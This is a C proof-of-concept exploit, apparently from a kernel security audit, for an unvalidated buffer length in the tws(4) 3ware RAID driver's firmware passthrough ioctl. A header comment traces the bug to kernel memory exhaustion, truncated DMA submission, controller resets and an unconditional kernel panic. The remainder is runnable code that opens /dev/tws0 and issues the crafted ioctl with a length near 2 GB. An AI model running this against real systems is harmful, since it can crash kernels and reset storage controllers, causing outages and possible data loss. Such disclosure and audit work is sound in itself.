/*
 * DF-4987 PoC — tws(4) TWS_IOCTL_FIRMWARE_PASS_THROUGH with an unvalidated
 * driver_pkt.buffer_length.
 *
 * sys/dev/raid/tws/tws_user.c:117  req->length = ubuf->driver_pkt.buffer_length;
 *   (u_int32_t, fully caller-controlled; never checked against
 *    TWS_MAX_IO_SIZE = 128 kB or any other bound)
 *
 * tws_user.c:120   kmalloc(req->length, M_TWS, M_WAITOK | M_ZERO)
 * tws_user.c:121   copyin(ubuf->pdata, req->data, req->length)   [error ignored]
 * tws_user.c:142   lksleep(req, &sc->gen_lock, 0, ..., 60*hz)    [no PCATCH:
 *                  uninterruptible for 60 s]
 * tws_user.c:146   tws_reset(sc)  on timeout  [controller-wide reset]
 *
 * Consequences, per the DMA path:
 *  - kmalloc of arbitrary size (up to ~4 GB) zeroed kernel memory per call;
 *  - bus_dmamap_load() (maxsize 128 kB, 46 segs) walks the whole buffer,
 *    delivers EFBIG to tws_dmamap_data_load_cbfn which only TRACEs it and
 *    SUBMITS the command anyway with a truncated SGL (tws_cam.c:1019-1048);
 *  - if the buffer needs more bounce pages than the tag's private zone holds
 *    (RAM above 4 GB backing the kmalloc), bus_dmamap_load returns
 *    EINPROGRESS and sys/platform/pc64/x86_64/busdma_machdep.c:793-799
 *    panics: "protected dmamap callback will be defered" (unconditional
 *    panic(); the KKASSERT above it fires even earlier because tws sets
 *    both BUS_DMA_PRIVBZONE and BUS_DMA_ALLOCALL).
 *
 * Requires /dev/tws0 (LSI 3ware 9700/9750 present, node is root-only 0600).
 * On a guest without the controller this exits with ENOENT — that is the
 * expected hardware-gated outcome.
 */
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>

/* ---- mirror of sys/dev/raid/tws/{tws_hdm.h,tws_user.h} (packed) ---- */
#define TWS_SENSE_DATA_LENGTH        18
#define TWS_ERROR_SPECIFIC_DESC_LEN  98

struct tws_driver_packet {
    unsigned int   control_code;
    unsigned int   status;
    unsigned int   unique_id;
    unsigned int   sequence_id;
    unsigned int   os_status;
    unsigned int   buffer_length;
} __attribute__((packed));

struct tws_command_header {         /* 128 bytes */
    unsigned char  sense_data[TWS_SENSE_DATA_LENGTH];
    struct { unsigned short srcnum; unsigned char reserved;
             unsigned char status;  unsigned short error;
             unsigned char res__srcid; unsigned char res__severity; } __attribute__((packed)) status_block;
    unsigned char  err_specific_desc[TWS_ERROR_SPECIFIC_DESC_LEN];
    struct { unsigned char size_header; unsigned short request_id;
             unsigned char size_sense; } __attribute__((packed)) header_desc;
} __attribute__((packed));

struct tws_command_apache {         /* 896 bytes */
    unsigned char  res__opcode;
    unsigned char  unit;
    unsigned short lun_l4__req_id;
    unsigned char  status;
    unsigned char  sgl_offset;
    unsigned short lun_h4__sgl_entries;
    unsigned char  cdb[16];
    unsigned char  sg_list[744];
    unsigned char  padding[128];
} __attribute__((packed));

struct tws_command_packet {         /* 1024 bytes */
    struct tws_command_header hdr;
    struct tws_command_apache  cmd;
} __attribute__((packed));

struct tws_ioctl_no_data_buf {      /* 1532 bytes packed */
    struct tws_driver_packet driver_pkt;
    void          *pdata;
    char           padding[488 - sizeof(void *)];
    struct tws_command_packet cmd_pkt;
} __attribute__((packed));

#define TWS_IOCTL_FIRMWARE_PASS_THROUGH \
        _IOWR('T', 202, struct tws_ioctl_no_data_buf)

int
main(int argc, char **argv)
{
    static struct tws_ioctl_no_data_buf buf;
    unsigned long len = (argc > 1) ? strtoul(argv[1], NULL, 0) : 0x7fff0000u;
    int fd, error;

    fd = open("/dev/tws0", O_RDWR);
    if (fd < 0) {
        printf("open(/dev/tws0): %s — no 3ware controller on this machine "
            "(hardware-gated, expected on the audit guest)\n", strerror(errno));
        return (2);
    }

    /* non-SCSI opcode (0x00 NOP) so the generic path is taken */
    buf.cmd_pkt.cmd.res__opcode = 0x00;
    buf.cmd_pkt.cmd.cdb[0] = 0x00;
    buf.driver_pkt.buffer_length = (unsigned int)len;
    buf.pdata = (void *)0x1000;           /* any user mapping */
    memset((void *)0x1000, 0, 16);        /* keep the copyin short */

    printf("DF4987: issuing passthru with buffer_length=0x%x (%u bytes)\n",
        (unsigned)len, (unsigned)len);
    error = ioctl(fd, TWS_IOCTL_FIRMWARE_PASS_THROUGH, &buf);
    printf("DF4987: ioctl returned %d (errno=%s) os_status=%u\n",
        error, strerror(errno), buf.driver_pkt.os_status);
    close(fd);
    return (0);
}
